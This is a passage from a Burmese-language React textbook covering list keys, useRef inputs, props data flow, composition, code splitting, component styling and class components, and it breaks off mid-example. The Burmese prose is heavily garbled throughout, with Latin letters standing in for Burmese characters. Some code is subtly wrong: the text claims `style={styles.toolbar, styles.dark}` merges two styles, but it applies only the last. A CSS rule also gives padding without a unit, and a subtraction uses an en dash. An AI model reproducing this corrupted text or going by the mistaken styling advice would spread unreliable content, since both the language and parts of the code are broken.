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ကြေgပာင်းရမယ့်  DOM Tree  နဲ့  ပံုစံတူ  Object  တစ်ခု ထပ်ထုတ်တယ်။ အ့ဲဒီနှစ်ခု yယ်ကြေနရာမှာ yာကွာလဲ
တိုက်စစတ်ယ်။  ပြပီးကြေတာ့မှ  ကွာသွားတဲ့  ကြေနရာကြေလးကြေတွပဲ  ကြေရွးပြပီးကြေတာ့  တစ်ကယ့်    Browser    မှာ  gပင်  
ကြေပးလုိက်တဲ့စနစ် မျ ို းပါ။ ဆိုလုိတာက လုပ်စရာရှိတဲ့အလုပ်ကြေတွကို  Browser  ကြေပါ်မှာ တိုက်ရုိက် မလုပ်yဲ
JavaScript မှာပဲ အလုပ်လုပ်လုိက်တာ goစ်သွားလုိ ့ပုိgမန်သွားမှာ goစ်ပါတယ်။

ဒီထက်ပုိရှင်းချင်ရင်ကြေတာ့ အရင်ကသုံးခဲ့eကတဲ့  Template System ကြေတွအကြေeကာင်းနဲ့  Browser DOM Re-
rendering  ရဲ့  ကြေနှးကြေကွးပုံတိုက့ို  ကြေgပာရမှာပါ။  ထံုးစံအတိုင်း  ဒီကြေနရာမှာ  အ့ဲဒီကြေလာက်  အကျယ်မချဲ့ပါyူး။
လုိရင်းကိုပဲ မှတ်ထားလုိက်ပါ။

map() နဲ ့Loop ပါတ်ပြပီး ကြေoာ်gပထားတဲ့ ကုဒ်ကို ဒီလုိ gပင်ကြေပးရမှာပါ။

 JavaScript/JSX 

<ul>
    {data.map(i => (

<Item key={i.id} name={i.name} price={i.price} />
))}

</ul>

ဒီနည်းနဲ့  key Property  ပါဝင်သွားသလုိ့ သူ့ရဲ့  တန်oုိးကလည်း  Unique  goစ်သွားပါတယ်။ အ့ဲဒီလုိ  key
Property  သာမပါခဲ့ရင်  React  က  Virtual  DOM  လုပ်ကြေဆာင်ချက်ကို  အသံုးgပုကြေပးနိုင်မှာ  မဟုတ်yဲ၊
တစ်ခခုု  အကြေgပာင်းအလဲရှိခဲ့ရင်  Item  အားလုံးကို  အစအဆံုး  တစ်ကြေခါက်gပန်ကြေoာ်gပကြေစမှာ  goစ်ပါတယ်။  ဒါ
ကြေeကာင့် ဒီ key ကြေလးထည့်လုိက်တာနဲ့ List ကြေတရွဲ့ အလုပ်လုပ်ပံု ပုိgမန်သွားမှာပဲ goစ်ပါတယ်။

Step 10 – Input
ဆက်လက်ပြပီး  React  မှာ  Input  ကြေတွ  စီမံပံုအကြေeကာင်းကို  ကြေgပာပါမယ်။  React  ကိုအသုံးgပုတဲ့  အခါမှာ
HTML Element ကြေတွကို တုိက်ရုိက်စီမံgခင်း မgပုရပါyူး။ ဒါကြေပမယ့် Input ကြေတွကကြေတာ့ ခြခွင်းချက်နဲ့ လုိအပ်
တဲ့အခါ တိုက်ရုိက်စီမံရပါတယ်။ ဒီလုိကိစ္စမျ ို းအတွက် React မှာ ref လုိ့ကြေခါ်တဲ့ နည်းပညာတစ်ခု ပါဝင်ပါ
တယ်။ ဒီကုဒ် သုံးကြေeကာင်းကို သီးgခားအရင် ကြေလ့လာeကည့်ပါ။
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 JavaScript/JSX 

const nameRef = useRef();

<input type="text" ref={nameRef} />

let name = nameRef.current.value;

ပထမတစ်ကြေeကာင်းက  useRef() လုိ့ကြေခါ်တဲ့  React  Hook  Function  ကိုအသုံးgပုပြပီး  nameRef ကို
တည်ကြေဆာက်ပါတယ်။ ကြေနာက်တစ်ကြေeကာင်းမှာ <input /> Element ရဲ့  ref ကြေနရာမှာ တည်ကြေဆာက်
ထားတဲ့  nameRef ကို ကြေပးလုိက်ပါတယ်။ <input> = nameRef လုိ့ ညွှန်းကြေပးလုိက်တဲ့ သကြေyာမျ ို း
ပါ။  ဒီလုိညွှန်းပြပီးပြပီဆိုရင်  nameRef ကို  အသံုးgပုပြပီး  <input> ကို  စီမံလုိရ့သွားပါပြပီ။  ကြေနာက်ဆံုးတစ်
ကြေeကာင်းက  nameRef ကို  အသုံးgပုပြပီး  <input> ရဲ့  value ကို  ယူလုိက်တာပါ။ ဒီနည်းနဲ့  React  မှာ
Input ကြေတွကို စီမံပါတယ်။ ကြေရးလက်စကုဒ်မှာ ဒီနည်းကို အခုလုိ ထည့်သွင်း အသံုးgပုလုိက်ပါ။

 JavaScript/JSX 

import { useRef, useState } from "react";

function Item(props) {
return (

<li>
{props.name}, ${props.price}

</li>
);

}

export default function App() {
const [data, setData] = useState([

{ id: 1, name: "Apple", price: 0.99 },
{ id: 2, name: "Orange", price: 0.89 },

]);

const nameRef = useRef();
const priceRef = useRef();

const add = () => {
const id = data.length + 1;
const name = nameRef.current.value;
const price = priceRef.current.value;

setData([
...data,
{ id, name, price }

]);
}
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return (
<div>

<h1>Hello React</h1>
<ul>

{data.map(i => (
 <Item key={i.id} name={i.name} price={i.price} />
))}

</ul>

<input type="text" ref={nameRef} /> <br />
<input type="text" ref={priceRef} /> <br />
<button onClick={add}>Add</button>

</div>
);

}

<input> Element နှစ်ခု ထည့်သွင်းကြေပးပြပီး nameRef နဲ့ priceRef တိုက့ို အသုံးgပုထားပါတယ်။ ပြပီး
တဲ့အခါ add() Function မှာ အ့ဲဒီ  Input ကြေတွမှာ ကြေရးgoည့်ထားတဲ့ တန်oုိးကို ယူပြပီး အသုံးgပုသွားgခင်းပဲ
goစ်ပါတယ်။

ကြေတာ်ကြေတာ်gပည့်စံုကြေနပါပြပီ။ React ရဲ့ အကြေgခခံသကြေyာသyာဝကြေတွလည်း စံုသကြေလာက် ရှိကြေနပါပြပီ။ ကျန်ရှိကြေန
တဲ့ အကြေeကာင်းအရာကြေတွကို ကြေနာက်တစ်ခန်း ခွဲပြပီးကြေတာ့ ဆက်ကြေလ့လာသွားeကရကြေအာင်ပါ။

ဒီအခန်းမှာကြေoာ်gပခဲ့တဲ့ ကုဒ်ကြေတွအပါအဝင် ဒီအပုိင်းမှာ နမူနာ ကြေoာ်gပထားတဲ့ ကုဒ်ကြေတွအားလုံးကို ကြေအာက်
ကလိပ်စာမှာ Download ရယူနိုင်ပါတယ်။

- https://github.com/eimg/react-book

https://github.com/eimg/react-book
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အခန်း (၅၅) – React Data Flow

ပြပီးခဲ့တဲ့အခန်းမှာ props နဲ ့state အကြေeကာင်း ကြေလ့လာခဲ့eကပါတယ်။ ဒီအကြေeကာင်းအရာကြေတွနဲ့ ပက်သက်
ရင်  သတိgပုရမယ့်  အကြေရးကြကီးတဲ့  အချက်  (၅)  ချက်  ရှိပါတယ်။ နည်းနည်း  ကြေခါင်းရှုပ်စရာကြေလးကြေတွ  မုိလုိ့့
ကြေသချာ င်္ဂရုစိုက်oတ်eကည့်ကြေပးပါ။ လုိအပ်ရင် နှစ်ခါသံုးခါ gပန်oတ်ပါ။

၁။ props     ဟာ   Read-only   goစ်ပါတယ်  ။ Component ကြေတွဟာ props Data ကြေတွကို 
အသုံးgပုလုိ ့ရပါတယ်။ gပင်လုိ့ ကြေgပာင်းလုိမ့ရပါyူး။

၂။ state ကကြေတာ့ gပင်လုိ့ ကြေgပာင်းလုိ ့ရပါတယ်။ state Data ကြေgပာင်းရင် Component 
ကြေoာ်gပပုံ အလုိအကြေလျှာက် ကြေgပာင်းလဲပံုကို ကြေလ့လာခဲ့eကပြပီး goစ်ပါတယ်။

၃။ Data   ဟာ   Parent to Child   gမင့်ရာကကြေန နိမ့်ရာကိုပဲ စီးဆင်းပါတယ်  ။ နိမ့်ရာကကြေန gမင့်
ရာကို ကြေgပာင်းgပန်စီးဆင်းgခင်း မရှိပါyူး။ ပြပီးခဲ့တဲ့ နမူနာအရဆိုရင် Parent Component
goစ်တဲ့ App က Data ကြေတွကို props အgoစ်နဲ ့Child Component goစ်တဲ့ Item ကို 
ကြေပးလုိ ့ရပါတယ်။ ဒါကြေပမယ့် Item Component က App Component ကို Data ကြေတွ 
gပန်ကြေပးလုိ့ မရပါyူး။

၄။ Data   ဟာ အဆင့်ဆင့်ပဲ လက်ဆင့်ကမ်းပြပီး သွားလုိရ့ပါတယ်။ အဆင့်ကြေကျာ်လုိ ့မရပါyူး  ။
ဥပမာ - App  List  Item → → ဆိုပြပီး အဆင့်ဆင့် ရှိတယ်ဆိုရင် App က Item ကို အဆင့်
ကြေကျာ်ပြပီး Data ကြေပးလုိမ့ရပါyူး။ App က List ကို ကြေပးရပါတယ်။ List က လက်ဆင့်ကမ်း
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ပြပီးကြေတာ့ Item ကို ကြေပးလုိပဲ့ရပါတယ်။ ဒီသကြေyာသyာဝကို မeကာခင် လက်ကြေတွ့ စမ်း
eကည့်ပါမယ်။ အဆင့်ကြေကျာ်ပြပီး ရကြေအာင်ကြေပးတဲ့ နည်းလည်း ရှကိြေတာ့ရှိပါကြေတာ့။ ဒါကိုကြေတာ့
ကြေနာက်တစ်ခန်းသပ်သပ်နဲ ့သီးgခား ကြေလ့လာပါမယ်။

၅။ Child Component က Parent Component ရဲ့ Data ကို props Method ကြေတွသုံးပြပီး
စီမံလုိ့ ရပါတယ်။ ဒါကိုကြေတာ့ အခုပဲ လက်ကြေတွ့eကည့်eကပါမယ်။ ဆက်eကည့်လုိက်ပါ။

props Methods
ပြပီးခဲ့တဲ့နမူနာမှာ ကြေရးခဲ့တဲ့ ကုဒ်မှာ Input ကြေတွ Button ကြေတွကို သီးgခား Component အgoစ် ခွဲထုတ်လုိက်
ပါမယ်။ ဒီလုိ ကြေရးရမှာပါ။

 JavaScript/JSX 

function AddForm(props) {
const nameRef = useRef();
const priceRef = useRef();

return (
<form onSubmit={e => {

e.preventDefault();

props.add(
nameRef.current.value,
priceRef.current.value

);
}}>

<input type="text" ref={nameRef} /> <br />
<input type="text" ref={priceRef} /> <br />
<button type="submit">Add</button>

</form>
);

}

App Component က ဒီအသစ်တည်ကြေဆာက်လုိက်တဲ့  AddForm ကို ယူသံုးမှာပါ။  <input> ကြေတွကို ဒီ
အတိုင်း မထားကြေတာ့yဲ <form> တစ်ခုထဲမှာ ထည့်ထားပါတယ်။ ဒါကြေeကာင့် အလုပ်လုပ်တဲ့အခါမှာလည်း
<button> ရဲ့  onClick ကို မသုံးကြေတာ့yဲ  <form> ရဲ့  onSubmit ကို ကြေgပာင်းသုံးထားပါတယ်။ မ
goစ်မကြေန လုိအပ်လုိ ့မဟုတ်ပါyူး။ ပုိပြပီးကြေတာ့ စနစ်ကျသွားကြေအာင်လုိပ့ါ။ 
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Form Submit လုပ်တယ်ဆိုတာ Server ကို အချက်အလက်ကြေတွ ပုိတ့ာgoစ်ကြေeကာင်း ပြပီးခဲ့တဲ့အခန်းကြေတွမှာ
ကြေလ့လာခဲ့eကပြပီး  goစ်ပါတယ်။ ဒီကြေနရာမှာ အ့ဲဒီလုိ မပုိ့ကြေစလုိတဲ့အတွက်  preventDefault() နဲ့  ပိတ်
ထားပါတယ်။ ဒါကြေeကာင့်  Submit Button  ကိုနှိပ်လုိက်ရင်  Form Submit  အလုပ်လုပ်ကြေပမယ့်  Server  ကို
ကြေတာ့ မသွားကြေတာ့ပါyူး။

Form Submit လုပ်လုိက်တဲ့အခါ State Data မှာ Input ကြေတွကကြေနရတဲ့ အချက်အလက်ကြေတွ ထပ်တိုးရမှာ
ပါ။ gပဿနာက State Data က AddForm မှာ ရှိကြေနတာ မဟုတ်ပါyူး။ App Component မှာ ရိှကြေနတာ
ပါ။ AddForm က App Component ရဲ့ State Data ကို သူ့yာသာလှမ်းgပင်ခွင့်မရှိပါyူး။ 

ဒါကြေeကာင့် Add Component ရဲ့  State Data မှာ ထပ်တိုးလုိရ့တဲ့  add Function ကို  App Component
မှာပဲကြေရးပြပီး အ့ဲဒီ add Function ကို Props အကြေနနဲ့ AddForm ကိုကြေပးလုိက်ရမှာပါ။ ဒီအခါမှာ AddForm
က သူလက်ခံရရှိတဲ့  add Function ကကြေနတစ်ဆင့် App Component ရဲ့  State Data ကို ထပ်တိုးလုိ့ ရ
နိုင်သွားပါပြပီ။ ဒါကြေeကာင့် ကုဒ်အgပည့်စံုက ဒီလုိgoစ်မှာပါ။

 JavaScript/JSX 

import { useRef, useState } from "react";

function Item(props) {
return (

<li>
{props.name}, ${props.price}

</li>
);

}

function AddForm(props) {
const nameRef = useRef();
const priceRef = useRef();

return (
<form onSubmit={e => {

e.preventDefault();

props.add(
nameRef.current.value,
priceRef.current.value

);
}}>

<input type="text" ref={nameRef} /> <br />
<input type="text" ref={priceRef} /> <br />
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<button type="submit">Add</button>
</form>

);
}

export default function App() {
const [data, setData] = useState([

{ id: 1, name: "Apple", price: 0.99 },
{ id: 2, name: "Orange", price: 0.89 },

]);

const add = (name, price) => {
const id = data.length + 1;

setData([
...data,
{ id, name, price }

]);
}

return (
<div>

<h1>Hello React</h1>
<ul>

{data.map(i => (
<Item key={i.id} 

name={i.name} 
price={i.price} />

))}
</ul>

<AddForm add={add} />
</div>

);
}

<AddForm> ကို အသုံးgပုစဉ် add Function ကို ထည့်ကြေပးလုိက်တာကို ကြေတွ့ရမှာပဲ goစ်ပါတယ်။

ဒီသကြေyာသyာဝကို  ကြေကာင်းကြေကာင်းနားလည်ပြပီဆိုရင်  React  ရဲ့  အကြေgခခံသကြေyာကြေတွကို  အကြေတာ်ကြေလး
ပုိင်နိုင်သွားပြပီလုိ ့ကြေgပာလုိရ့နိုင်ပါတယ်။
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props Waterfall
ကြေနာက်ထပ်ကြေလ့လာမှာကကြေတာ့ ဟိုးအကြေပါ်က နံပါတ် (၄) မှာ ကြေgပာထားတဲ့ props ရဲ့ အဆင့်လုိက် စီးဆင်း
ပုံကို ကြေလ့လာeကမှာပါ။ ကြေပးထားတဲ့ကုဒ်ကို ကြေလ့လာeကည့်ပါ။ ကြေအာက်ကကြေနအကြေပါ်ကို ကြေgပာင်းgပန်eကည့်ပါ။

 JavaScript/JSX 

function Title(props) {
return <h1>{props.name}</h1>;

}

function Header(props) {
return <Title name={props.name} />;

}

function App() {
return <Header name="App Title" />;

}

Component (၃) ခုပါဝင်ပါတယ်။ App, Header နဲ့ Title တိုပ့ါ။ App က Header ကို အသံုးgပုပြပီး Header
က  Title  ကို  အသုံးgပုထားလုိ့  သူတိုရ့ဲ့  ဆက်စပ်မှုက  App  Header  Title  → → goစ်ပါတယ်။  Title  မှာ
အသုံးgပုရမယ့်  name ကို  App  က တစ်ဆင့်ကြေကျာ်ပြပီး  Title  ကို  လှမ်းကြေပးလုိ့  မရတဲ့အတွက်  App  ကကြေန
Header ကို ကြေပးပါတယ်။ Header ကကြေနမှ Title ကို ကြေပးထားတာကို သတိgပုeကည့်ရမှာပဲ goစ်ပါတယ်။

React Component မှာ props Data ကြေတွဟာ အခုလုိ တစ်ဆင့်ချင်းစီသာ အဆင့်ဆင့် လက်ဆင်ကမ်းပြပီး
ကြေပးသွားရပါတယ်။ အဆင့်ကြေကျာ်လုိ့ မရပါyူး။ အဆင့်ကြေကျာ်ချင်ရင် Context လုိ နည်းပညာမျ ို းကို သံုးရပါ
တယ်။ ဒီအကြေeကာင်ကိုကြေတာ့ သီးgခား အခန်းတစ်ခန်းနဲ ့ကြေoာ်gပကြေပးသွားမှာပဲ goစ်ပါတယ်။
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အခန်း (၅၆) – React Composition and Code Splitting

Component Composition ဆိုတာ Component  ကြေတွကို လုိတဲ့ကြေနရာက ကြေခါ်ယူ အသုံးgပုနိုင်ယုံသာမက
ကြေပါင်းစပ်ပြပီးကြေတာ့ပါ အသုံးgပုနိုင်တယ်ဆိုတဲ့ သကြေyာသyာဝပါ။ ဒီကုဒ်ကို ကြေလ့လာeကည့်ပါ။

 JavaScript/JSX 

function Toolbar(props) {
return (

<div style={{ background: 'cyan', padding: 10 }}>
{props.children}

</div>
);

}

function App() {
return (

<div>
<Toolbar>

<h1>Hello React</h1>
<h2>Component Composition</h2>

</Toolbar>
</div>

);
}

နမူနာမှာ  Toolbar Component  ကို  App က ကြေခါ်သုံးထားပါတယ်။  ဒီအတိုင်းသံုးတာ မဟုတ်ပါyူး။
Toolbar Component  အတွင်းမှာ  ရှိရမယ့်  Element  ကြေတွကို  ထည့်သွင်း  သတ်မှတ်ကြေပးထားတာကို
သတိgပုပါ။ Toolbar Component ကြေရးထားပုံကို gပန်ကြေလ့လာပါ။ props.children လုိ့ကြေခါ်တဲ့ အထူး
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တန်oုိးတစ်ခုကို အသံုးgပုပြပီး ကြေပါင်းစပ်သုံးoုိ ့ကြေပးလာတဲ့ Element ကြေတွကို အသုံးgပု ကြေoာ်gပထားတာကို ကြေတွ့
ရမှာ goစ်ပါတယ်။ ရလဒ်က ဒီလုိgoစ်မှာပါ -

ဒီနည်းနဲ့  React  မှာ  Component  ကြေတွကို  ကြေပါင်းစပ်  အသံုးgပုနိုင်ပါတယ်။  လက်ကြေတွ့ပကြေရာင်္ဂျက်ကြေတွမှာ
ကုဒ်ကြေတွရဲ့oဲွ့စည်းပံုက ဒီလုိမျ ို း goစ်နိုင်ပါတယ်။

 JavaScript/JSX 

<Toolbar>
<Logo image="/path/to/image" />
<Title>

<Heading>App Title</Heading>
<SubHeading>App Tag Line</SubHeading>

</Title>
<Menu>

<MenuItem value="Home" />
<MenuItem value="Users" />

</Menu>
</Toolbar>
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Code Splitting
အခုနမူနာကြေတွမှာ ကုဒ်အားလံုးကို  App.js တစ်oုိင်ထဲမှာ အကုန်စုကြေရးထားတာပါ။ ဒီလုိအကုန်စုကြေရးမယ့်
အစား  လက်ကြေတွ့မှာ  Component  တစ်ခုကို  oုိင်တစ်ခုနဲ့  ခဲွကြေရးသင့်ပါတယ်။  ခွဲကြေရးပုံကြေရးနည်းက
အသစ်အဆန်းကြေတာ့ မဟုတ်ပါyူး။ ES6 Module ကြေရးထုံးကိုပဲ အသုံးgပုရမှာ goစ်ပါတယ်။ ဥပမာ - Toolbar
Component ကုဒ်ကြေတွကို Toolbar.js ထဲမှာ အခုလုိ ကြေရးလုိရ့နိုင်ပါတယ်။

 JavaScript/JSX 

export default function Toolbar(props) {
return (

<div style={{ background: 'cyan', padding: 10 }}>
{props.children}

</div>
)

}

Toolbar  ကို  Default  Export  လုပ်ကြေပးထားတာကြေလး  မကြေမ့ပါနဲ။့  တgခား  သတိgပုစရာကြေတွ  အကြေနနဲ့
Component    ရဲ့အမည်ကို    Capital  Case    နဲ့  ကြေပးရတယ်   ဆိုတဲ့  အချက်နဲ့  Component    oုိင်အမည်ဟာ  
Component   အမည်နဲ့ တူသင့်တယ်   ဆိုတဲ့ အချက်ပါပဲ။ မတူလည်း yာမှကြေတာ့ မgoစ်ပါyူး။ ဒါကြေပမယ့် တူ
ကြေအာင်ကြေပးမှသာ  Consistence  goစ်မှာပါ။ ဒီလုိ oုိင်ခွဲကြေရးထားတဲ့  Component  ကို  App.js မှာ အခုလုိ
ကြေခါ်သုံးနိုင်ပါတယ်။

 JavaScript/JSX 

import Toolbar from './Toolbar';

export default function App() {
return (

<div>
<Toolbar>

<h1>Hello React</h1>
<h2>Component composition</h2>

</Toolbar>
</div>

);
}
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Toolbar ကို Import လုပ်ပြပီး ဆက်သုံးသွားယုံပါပဲ။ Import လုပ်တဲ့အခါ အမည်ကို တgခားအမည်နဲ့ ကြေgပာင်း
ကြေပးမယ်ဆိုလည်း ရနိုင်ပါတယ်။ ဥပမာ -

 JavaScript/JSX 

import MyBar from './Toolbar';

ဒါဆိုရင် အသုံးgပုတဲ့အခါ <MyBar> လုိ့ သံုးကြေပးရမှာပါ။ ရတယ်လုိ့ကြေgပာတာပါ၊ ကြေကာင်းတာကြေတာ့ သူ့မူရင်း
Component အမည်အတိုင်း အသုံးgပုနိုင်ရင် အကြေကာင်းဆံုးပါပဲ။
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အခန်း (၅၇) – React Component Style

React Component  ကြေတွရဲ့  Style  အတွက် နည်းပညာအမျ ို းမျ ို း  ရှိပါတယ်။  CSS Module, CSS in JS,
Styled  Component  စသgoင့်  ရှိeကပါတယ်။  CSS  Module  လုပ်ကြေဆာင်ချက်ကကြေတာ့  ပကြေရာင်္ဂျက်ထဲမှာ
ပါဝင်ပြပီးသားပါ။ ဥပမာ - Toolbar.css အမည်နဲ ့အခုလုိ ကြေရးထားတယ်ဆိုeကပါစို့ -

 CSS 

.toolbar {
background: cyan;
padding: 10;

}

ဒီ  CSS  ကုဒ်oုိင်ကို  Module  တစ်ခုလုိ  သကြေyာထားပြပီး  ES6  Import  နဲ့  Import  လုပ်ယူလုိ့  ရပါတယ်။
Toolbar.js ရဲ့ကုဒ်က ဒီလုိgoစ်သွားမှာပါ။

 JavaScript/JSX 

import './Toolbar.css';

export default function Toolbar(props) {
return (

<div className="toolbar">
{props.children}

</div>
);

}

CSS oုိင်ကို တိုက်ရုိက် Import လုပ်ထားတာကို ကြေတွ့ရမှာ goစ်ပါတယ်။ သတိgပုစရာကကြေတာ့ ရုိးရုိး HTML
မှာလုိ Element Class အတွက် class Attribute ကိုကြေတာ့ သုံးလုိ့ မရပါyူး။ className လုိ့ သုံးကြေပးရ
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ပါတယ်။ id နဲ့ တgခား Attribute ကိုကြေတာ့ ရုိးရုိး HTML မှာလုိပဲ သုံးလုိရ့ပါတယ်။

CSS in JS
CSS in  JS  နည်းပညာကလည်း ပကြေရာင်္ဂျက်ထဲမှာ  ပါပြပီးသားပါပဲ။  ကြေရးနည်း  (၂)  နည်းနဲ့  ကြေရးနိုင်ပါတယ်။
ပထမနည်းကကြေတာ့ Inline Style ကို အသုံးgပုgခင်းgoစ်ပါတယ်။ ဒီလုိပါ - 

 JavaScript/JSX 

return (
    <div style={{ background: 'cyan', padding: 10 }}>
        {props.children}
    </div>
);

style Attribute ကိုသုံးပြပီးကြေတာ့ CSS Style ကြေတွကို JSON အကြေနနဲ့ ကြေပးလုိက်တာပါ။ တွန့်ကွင်း နှစ်ထပ်
ဆိုတာသတိgပုပါ။ ပထမတွန့်ကွင်းက JSX ကို  JavaScript Expression goစ်ကြေeကာင်းသိကြေစပြပီး ဒုတိယတွန့်
ကွင်းက JSON အတွက်ပါ။ 

CSS Style Code  ကြေတွ ကြေရးတဲ့အခါ ရုိးရုိး  CSS  ကြေရထုံးအတိုင်း ကြေရးယုံပါပဲ။ ခြခွင်းချက်ကြေတွရှိကြေပမယ့် အများ
ကြကီးကြေခါင်းစားခံပြပီး မှတ်မကြေနပါနဲဥ့ီး။ သံုးခုမှတ်ထားရင် ရပါပြပီ။ CSS Property   ကြေတွကို   Camel Case   နဲ့ ကြေရး  
ရပါတယ်။    px   Unit    ကြေတွ ထည့်ကြေရးစရာ မလုိပါyူး။    JSON Format    နဲ့ ကြေရးရတာgoစ်လုိ့    Style Property  
တစ်ခုနဲတ့စ်ခုကို ရုိးရုိး    CSS   မှာလုိ   Semi-colon   နဲ့ မgခားyဲ   Comma   နဲ့ gခားကြေပးရတယ်   ဆိုတဲ့အချက်ကြေတွ
မှတ်ထားရင် ရပါပြပီ။ ဥပမာ ဒီလုိပါ -
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 JavaScript/JSX 

let parent = 200;
let height = 150;

return (
    <div style={{ marginBottom: parent – height, 

border: '1px solid red' }}>
        {props.children}
    </div>
);

CSS မှာ margin-bottom လုိ့ကြေရးကြေပမယ့် CSS in JS မှာ marginBottom လုိ့ကြေရးပါတယ်။ px Unit
ထည့်စရာ မလုိတဲ့အတွက်  လုိအပ်ရင်  တန်oုိးကြေတွကို  ကြေပါင်းနှုတ်ကြေgမှာက်စား  လုပ်လုိရ့ပါတယ်။  border
အတွက်ကြေတာ့  1px solid red လုိ့  ကြေပးထားပါတယ်။  px Unit  ထည့်ကြေပးထားပါတယ်။ ကြေပးလုိရ့ပါ
တယ်။  Quote  အoွင့်အပိတ်ထဲမှာကြေတာ့  goစ်ရပါတယ်။  CSS  ကြေတွ  များလာတဲ့အခါ  gပင်ဆင်ထိမ်းသိမ်းရ
လွယ်ကြေအာင် ဒုတိယ ကြေရးနည်းအကြေနနဲ ့အခုလုိ ခွဲကြေရးထားသင့်ပါတယ်။

 JavaScript/JSX 

const styles = {
    toolbar: {
        marginBottom: 20,
        border: '1px solid red',
    }
}

ပြပီးကြေတာ့မှ လုိတဲ့ကြေနရာမှာ အခုလုိ ထည့်သံုးလုိက်တာ ပုိကြေကာင်းပါတယ်။

 JavaScript/JSX 

return (
    <div style={styles.toolbar}>
        {props.children}
    </div>
);

style     အတွက် တွန့်ကွင်း နှစ်ထပ်မလုိကြေတာ့တာကို သတိgပုပါ  ။  တစ်ခုထက်ပုိတဲ့  Style  သတ်မှတ်ချက်
ကို Component မှာ တွဲသုံးချင်လည်း ရပါတယ်။ ဥပမာ - Style က ဒီလုိသတ်မှတ်ထားတယ် ဆိုပါစို့။
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 JavaScript/JSX 

const styles = {
    toolbar: {
        marginBottom: 20,
        border: '1px solid red',
    },
    dark: {
        background: 'purple',
        color: 'white',
    }
}

Component မှာ အခုလုိ အလွယ်တစ်ကူ ယူသံုးလုိက်လုိ့ ရပါတယ်။

 JavaScript/JSX 

return (
    <div style={styles.toolbar, styles.dark}>
        {props.children}
    </div>
);

တွဲသုံးချင်တဲ့ Style ကြေတွကို Comma ကြေလးခံပြပီး ထည့်သွားလုိက်တာပါပဲ။

ကြေနာက်တစ်နည်းgoစ်တဲ့  Styled Component ကကြေတာ့ ပကြေရာင်္ဂျက်ထဲမှာ အသင့်မပါပါyူး။ Package ထပ်
ထည့်ပြပီးမှ  အသုံးgပုလုိရ့မှာgoစ်လုိ့  ဒီတစ်နည်းကိုကြေတာ့  ချန်ထားလုိက်ပါမယ်။  React  နဲ့ပက်သက်ပြပီး
ကြေကာင်းကြေကာင်း ကျင်လည်လာပြပီဆိုကြေတာ့မှ ကိုယ့်yာသာ ဆက်ကြေလ့လာရမှာပါ။



PWD 2023 – အခန်း (၅၈) – React Class Components 771

အခန်း (၅၈) – React Class Components

React မှာ Class Component နဲ့ Function Component ဆိုပြပီး ကြေရးဟန် (၂) မျ ို းရှိပါတယ်။ အရင်ကဆိုရင်
Class  Component  ကသာလျှင်  အဓိကကြေရးဟန်goစ်ပြပီး  Function  Component  ကြေရးဟန်က  ကြေနာက်မှ
ကြေပါ်လာတာပါ။  အကြေစာပုိင်းမှာဆိုရင်  Function  Component  ကြေတွမှာ  State  Data  ကြေတွ  ထည့်ကြေရးလုိ့
ကြေတာင် မရပါyူး။ ဒါကြေeကာင့် ဒီစာအုပ်ရဲ့ အရင် Version ကြေတွမှာ Class Component ကြေတွနဲ့ အများအားgoင့်
နမူနာကြေပး ကြေoာ်gပခဲ့တာပါ။ 

ဒါကြေပမယ့် ကြေရှ့မှာ နမူနာ သံုးခဲ့eကတဲ့ useState() လုိ Hook Function ကြေတရွဲ့ အကူအညီနဲ့ State Data
ကြေတွစီမံနိုင်လာပြပီးကြေနာက်မှာကြေတာ့  Function Component  ကြေတွကိုသာ အဓိကထား အသံုးgပုလာeကလုိက်
တာ အခုဆိုရင်  Class Component  ဆိုတာ သံုးစရာကြေတာင် မလုိကြေတာ့သလုိ သိပ်လည်း မသံုးeကကြေတာ့ပါ
yူး။ ထည့်မကြေgပာyဲ ထားလုိက်ကြေတာ့မယ်လုိ့ကြေတာင် စဉ်းစားပါကြေသးတယ်။ ဒါကြေပမယ့်  Class Component
ကြေတွသုံးပြပီး  ကြေရးထားတဲ့  ကုဒ်ကြေတွကိုကြေတွ့ရင်  နားမလည်ကြေတာ့တာမျ ို း  goစ်ကြေနမှာစိုးလုိ့  သိသင့်တဲ့
သကြေyာသyာဝကြေတွကို ထည့်သွင်းကြေoာ်gပလုိက်ပါတယ်။

Class Component  ကြေတွoန်တီးoုိအ့တွက် လုိအပ်ချက်ကကြေတာ့ React.Component ကို  Extend လုပ်
ပြပီး၊ Element တစ်ခုကို Return gပန်ကြေပးတဲ့၊ render() Method ပါရမှာပဲ goစ်ပါတယ်။ အဆင့်နည်းနည်း
ပုိသွားကြေပမယ့် သိပ်ကြေတာ့ မခက်ပါyူး။ ဒီလုိကြေရးရတာပါ –
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 JavaScript/JSX 

import React from "react";

class App extends React.Component {
render() {

return (
<div>

<h1>Class Component</h1>
</div>

)
}

}

export default App;

Props  ကြေတွကြေပးပံုကြေပးနည်းကကြေတာ့  Function  Component  နဲ့  ခပ်ဆင်ဆင်ပါပဲ။  အသံုးgပုတဲ့အခါမှာသာ
props Function Parameter ကကြေန မသုံးyဲ this.props Class Property ကကြေန ရယူအသံုးgပုရတာ
ပါ။ ဒီလုိပါ –

 JavaScript/JSX 

import React from "react";

class Item extends React.Component {
render() {

return (
<li>{this.props.name}</li>

)
}

}

class App extends React.Component {
render() {

return (
<div>

<h1>Class Component</h1>
<ul>

<Item name="Apple" />
<Item name="Orange" />

</ul>
</div>

)
}

}

export default App;
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State Data ကြေတွ Manage လုပ်oုိအ့တွက် useState() ကြေတွyာကြေတွ မလုိကြေတာ့ပါyူး။ this.state
Class Property ကကြေနတစ်ဆင့် စီမံကြေရးသားရပါတယ်။ ဒီလုိပါ –

 JavaScript/JSX 

import React from "react";

class App extends React.Component {
state = {

data: [
{ id: 1, name: 'Apple' },
{ id: 2, name: 'Orange' },

]
};

render() {
return (

<div>
<h1>Class Component</h1>
<ul>

{this.state.data.map(item => {
return (

<li key={item.id}>
{item.name}

</li>
)

})}
</ul>

</div>
)

}
}

export default App;

Class Component  ကြေတရွဲ့အားသာချက်လုိ့  ကြေgပာလုိရ့တာကကြေတာ့  Lifecycle Methods  ကြေတွgoစ်ပါတယ်။
componentWillMount(), componentDidMount(), componentWillUnmount(),

componentDidUpdate() စသည်goင့် Component ကို မgပခင်yာလုပ်ရမလဲ၊ gပပြပီး yာလုပ်ရမလဲ၊
ကြေgပာင်းသွားရင် yာလုပ်ရမလဲ စသည်goင့် ကြကိုတင်သတ်မှတ်ထားနိုင်တဲ့ အသံုးဝင်တဲ့  Methods  ကြေတွ ရှိပါ
တယ်။
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 JavaScript/JSX 

class App extends React.Component {
state = {

...
};

componentWillMount() {
console.log("App is about to mount...");

}

componentDidMount() {
